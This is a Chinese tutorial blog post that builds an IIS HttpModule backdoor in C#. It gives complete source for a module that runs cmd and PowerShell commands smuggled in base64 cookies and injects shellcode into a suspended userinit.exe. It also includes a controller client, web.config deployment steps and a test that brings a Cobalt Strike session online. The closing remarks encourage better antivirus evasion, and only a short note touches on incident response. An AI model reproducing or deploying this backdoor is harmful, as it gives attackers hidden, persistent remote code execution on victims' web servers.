手把手带你开发一款 IIS 模块后门
- 2019 年 10 月 4 日
- 筆記
本文作者：WBGlIl（信安之路首次投稿作者） 获得奖励：免费加入信安之路+邀请加入信安之路核心群+获得 90sec 论坛邀请码一枚
记得之前看一篇 APT 组织的报告时偶然间看到过 IIS 模块后门然后在网上找了找了资料，想自己开发一款然后开发到一半因为一些事情就停止了很久，这次清理项目文件的时候又有想了起来就打算重新用 C# 继续写出来。
关于 IIS 后门现在好像已经没什么人在提起了，不过最近有时间就顺便把当初的坑填上
首先准备工具
VS2017 IIS
开始开发
先打开 VS 创建一个 winfrom 项目然后添加一个 C# dll 项目
IIS_backdoor_dll 项目代码
using System; using System.Collections; using System.Collections.ObjectModel; using System.Diagnostics; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Runtime.InteropServices; using System.Text; using System.Web; using static IIS_backdoor_dll.Program; namespace IIS_backdoor_dll { //shellcode执行类部分代码 //https://raw.githubusercontent.com/mvelazc0/defcon27_csharp_workshop/master/Labs/lab7/3.cs public static class Program { [StructLayout(LayoutKind.Sequential)] public class SecurityAttributes { public Int32 Length = 0; public IntPtr lpSecurityDescriptor = IntPtr.Zero; public bool bInheritHandle = false; public SecurityAttributes() { this.Length = Marshal.SizeOf(this); } } [StructLayout(LayoutKind.Sequential)] public struct ProcessInformation { public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessId; public Int32 dwThreadId; } [Flags] public enum CreateProcessFlags : uint { DEBUG_PROCESS = 0x00000001, DEBUG_ONLY_THIS_PROCESS = 0x00000002, CREATE_SUSPENDED = 0x00000004, DETACHED_PROCESS = 0x00000008, CREATE_NEW_CONSOLE = 0x00000010, NORMAL_PRIORITY_CLASS = 0x00000020, IDLE_PRIORITY_CLASS = 0x00000040, HIGH_PRIORITY_CLASS = 0x00000080, REALTIME_PRIORITY_CLASS = 0x00000100, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_UNICODE_ENVIRONMENT = 0x00000400, CREATE_SEPARATE_WOW_VDM = 0x00000800, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_FORCEDOS = 0x00002000, BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, INHERIT_PARENT_AFFINITY = 0x00010000, INHERIT_CALLER_PRIORITY = 0x00020000, CREATE_PROTECTED_PROCESS = 0x00040000, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, PROCESS_MODE_BACKGROUND_END = 0x00200000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NO_WINDOW = 0x08000000, PROFILE_USER = 0x10000000, PROFILE_KERNEL = 0x20000000, PROFILE_SERVER = 0x40000000, CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000, } [StructLayout(LayoutKind.Sequential)] public class StartupInfo { public Int32 cb = 0; public IntPtr lpReserved = IntPtr.Zero; public IntPtr lpDesktop = IntPtr.Zero; public IntPtr lpTitle = IntPtr.Zero; public Int32 dwX = 0; public Int32 dwY = 0; public Int32 dwXSize = 0; public Int32 dwYSize = 0; public Int32 dwXCountChars = 0; public Int32 dwYCountChars = 0; public Int32 dwFillAttribute = 0; public Int32 dwFlags = 0; public Int16 wShowWindow = 0; public Int16 cbReserved2 = 0; public IntPtr lpReserved2 = IntPtr.Zero; public IntPtr hStdInput = IntPtr.Zero; public IntPtr hStdOutput = IntPtr.Zero; public IntPtr hStdError = IntPtr.Zero; public StartupInfo() { this.cb = Marshal.SizeOf(this); } } [DllImport("kernel32.dll")] public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, [In] StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation ); [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); public static UInt32 PAGE_EXECUTE_READWRITE = 0x40; public static UInt32 MEM_COMMIT = 0x1000; } //继承IHttpModule public class IISModule : IHttpModule { //实现Init方法 public void Init(HttpApplication context) { //注册HttpApplication应用程序 BeginRequest 事件 context.BeginRequest += new EventHandler(context_BeginRequest); } /// <summary> /// 执行cmd命令 /// </summary> /// <param name="cmd"></param> /// <returns></returns> public string RunCmd(string cmd) { //base64解密Cookie的值然后重新赋给cmd cmd = Encoding.UTF8.GetString(Convert.FromBase64String(cmd)); Process proc = new Process(); proc.StartInfo.CreateNoWindow = true; proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardError = true; proc.StartInfo.RedirectStandardInput = true; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); proc.StandardInput.WriteLine(cmd); proc.StandardInput.WriteLine("exit"); string outStr = proc.StandardOutput.ReadToEnd(); proc.Close(); return outStr; } /// <summary> /// 执行powershell /// </summary> /// <param name="scriptText"></param> /// <returns></returns> public static string Runpscmd(string pscmd) { //base64解密Cookie的值然后重新赋给pscmd //通过C#直接调用powershell pscmd = Encoding.UTF8.GetString(Convert.FromBase64String(pscmd)); Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); Pipeline pipeline = runspace.CreatePipeline(); pipeline.Commands.AddScript(pscmd); pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.AppendLine(obj.ToString()); } return stringBuilder.ToString(); } /// <summary> /// 执行shellcode /// </summary> /// <param name="base64"></param> /// <returns></returns> public string shellcode(string base64) { //分割字符串 string[] arr = base64.Split('|'); //判断shellcode位数是否和目标位数匹配 if (arr[1].Equals(is_x86())) { byte[] sc = Convert.FromBase64String(arr[0]); //这里可以通过参数自定义程序不过我不写了没办法懒 string binary = "userinit.exe"; Int32 size = sc.Length; StartupInfo sInfo = new StartupInfo(); sInfo.dwFlags = 0; ProcessInformation pInfo; string binaryPath = "C:\Windows\System32\" + binary; IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo); IntPtr hProcess = pInfo.hProcess; IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); int test = 0; IntPtr size2 = new IntPtr(sc.Length); bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test); CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0)); return Convert.ToString(sc.Length); } //不匹配返回提示 else { return "!Target requires"+is_x86()+" shellcode"; } } void context_BeginRequest(object sender, EventArgs e) { HttpApplication application = (HttpApplication)sender; HttpContext context = application.Context; HttpRequest Request = application.Request; context_filter(context, Request); } //判断当前是x64还是x86 string is_x86() { if (IntPtr.Size == 4) { return "x86"; } else { return "x64"; } } void context_filter(HttpContext context, HttpRequest Request) { HttpCookieCollection MyCookieColl; HttpCookie MyCookie; MyCookieColl = Request.Cookies; String[] arr1 = MyCookieColl.AllKeys; if (arr1.Length > 0) { MyCookie = MyCookieColl[arr1[0]]; if (MyCookie.Name.Equals("cmd")) { String cookie = MyCookie.Value; context.Response.Clear(); context.Response.Write(RunCmd(cookie)); context.Response.End(); context.Response.Close(); } else if (MyCookie.Name.Equals("powershell")) { String cookie = MyCookie.Value; context.Response.Clear(); context.Response.Write(Runpscmd(cookie)); context.Response.End(); context.Response.Close(); } else if (MyCookie.Name.Equals("shellcode")) { String cookie = MyCookie.Value; context.Response.Clear(); context.Response.Write(shellcode(cookie)); context.Response.End(); context.Response.Close(); } } } public void Dispose() { } } }
以上是 IIS_backdoor_dll 项目的代码
主要思路是获取 Cookie 然后判断 Cookie 名字是否匹配如果匹配就根据 Cookie 名字获取其值然后调用相应的方法并传入其值。
总共实现了 3 个功能分别是执行 cmd，通过 C# 调用 powershell，执行 shellcode。代码里面都写有注释可以自己看看
如果不匹配就什么都不做
IIS_backdoor_shell 项目代码
IIS_backdoor_shell 项目代码就比较简单无非就是发送 http 请求获取返回等等
using System; using System.Collections.Generic; using System.IO; using System.Net; using System.Text; using System.Windows.Forms; namespace IIS_backdoor_shell { public partial class Form1 : Form { public Form1() { InitializeComponent(); this.comboBox1.SelectedIndex = 0; } //发送请求并获取返回 public string SendDataByGET(string Url, CookieContainer cookie) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); if (cookie.Count == 0) { request.CookieContainer = new CookieContainer(); cookie = request.CookieContainer; } else { request.CookieContainer = cookie; } request.Method = "GET"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream myResponseStream = response.GetResponseStream(); StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8")); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); myResponseStream.Close(); return retString; } //文件base64编码 public string FileToBase64Str(string filePath) { string base64Str = string.Empty; try { using (FileStream filestream = new FileStream(filePath, FileMode.Open)) { byte[] bt = new byte[filestream.Length]; filestream.Read(bt, 0, bt.Length); base64Str = Convert.ToBase64String(bt); filestream.Close(); } return base64Str; } catch (Exception ex) { return base64Str; } } //两个textbox事件用于拖放文件 private void textBox1_DragEnter(object sender, DragEventArgs e) { if (e.Data.GetDataPresent(DataFormats.FileDrop)) e.Effect = DragDropEffects.Link; else e.Effect = DragDropEffects.None; } private void textBox1_DragDrop(object sender, DragEventArgs e) { ((TextBox)sender).Text = ((System.Array)e.Data.GetData(DataFormats.FileDrop)).GetValue(0).ToString(); } private void button1_Click(object sender, System.EventArgs e) { if (textBox3.Text!=""&&textBox1.Text!="") { CookieContainer cc = new CookieContainer(); if (comboBox1.Text.Equals("shellcode_x86")) { var base64Str = FileToBase64Str(textBox3.Text); cc.Add(new System.Uri(textBox1.Text), new Cookie("shellcode", base64Str + "|x86")); textBox2.Text = SendDataByGET(textBox1.Text, cc); } else if (comboBox1.Text.Equals("shellcode_x64")) { var base64Str = FileToBase64Str(textBox3.Text); cc.Add(new System.Uri(textBox1.Text), new Cookie("shellcode", base64Str + "|x64")); textBox2.Text = SendDataByGET(textBox1.Text, cc); } else { byte[] bytes = Encoding.UTF8.GetBytes(textBox3.Text); var base64Str = Convert.ToBase64String(bytes); cc.Add(new System.Uri(textBox1.Text), new Cookie(comboBox1.Text, base64Str)); textBox2.Text = SendDataByGET(textBox1.Text, cc); } } else { MessageBox.Show("请填写命令或URL地址"); } } } }
以上是 IIS_backdoor_shell 项目的代码
基本思路就是判断是否是执行 shellcode 如果是就 base64 编码 shellcode 文件然后末尾附加 |x64 或 |x86 然后添加到 cookie 并发送 http 请求，如果不是执行 shellcode 就直接 base64 编码相应的命令然后添加到 cookie 并发送请求
部署后门
编译完后会得到一个 dll 和 exe。
把 IIS_backdoor_dll.dll 文件放到 web 目录的 bin 文件夹中并配置 web.config 文件
web.config 文件
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <modules> <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" /> </modules> </system.webServer> </configuration>
配置 ok 后正常访问没有任何问题可以
测试后门
现在让我们运行 IIS_backdoor_shell.exe 文件测试一下后门看看主要的 3 个功能
执行 cmd
dir C:
ipconfig
C# 调用 powershell
获取进程和服务
执行 shellcode
先生成 x64 位的 shellcode
然后把 shellcode 拖到文本框二
执行后 cs 成功上线
基本上我就写了这三个功能其他的比如文件上传远程下载等等还是日后来填坑吧
浅谈一下原理
在 .Net 中，HttpModule 其实就是实现了 IHttpModule 接口的程序集。在 IIS 中 Http 请求会通过一系列 HttpModule，而在经过这些 HttpModule 时，这些 HttpModule 对 Http 请求具有完全的控制权。
而我们这时就可以根据这些 http 请求判断是否是后门请求如果是就触发后门，如果不是就什么也不做交给后面的模块，在经过所有的 HttpModule 之后，它会被 HttpHandler 处理，在 HttpHandler 处理完以后 http 请求返回包会再一次经历 HttpModule，最后到达客户端
基本流程图
具体关于 HttpModule 接口可以看看微软的官方文档
https://docs.microsoft.com/zh-cn/dotnet/api/system.web.ihttpmodule?redirectedfrom=MSDN&view=netframework-4.8
声明
本文提供的代码只限学习、研究，请勿用于其他用途，如因此造成其他后果，后果自负。
随便谈两句
明天整理一下在放 git 上先放个链接，git 链接
https://github.com/WBGlIl/IIS_backdoor
1、文笔不太好写的就这样了还请大佬们多多包涵
2、其实这个项目也还有很多地方可以改进一下比如 shellcode 的执行方式，参数加密方式，等等一些地方都可以在改进改进增强免杀，本文只是作为抛砖引玉希望大家可以搞出更好的东西。
3、在做应急的时候也应该多注意一下有关 web 容器的后门对于判断这类后门应该多查看系统日志,检查扩展，平时也应该做好防御不给对方留下后门的可乘之机
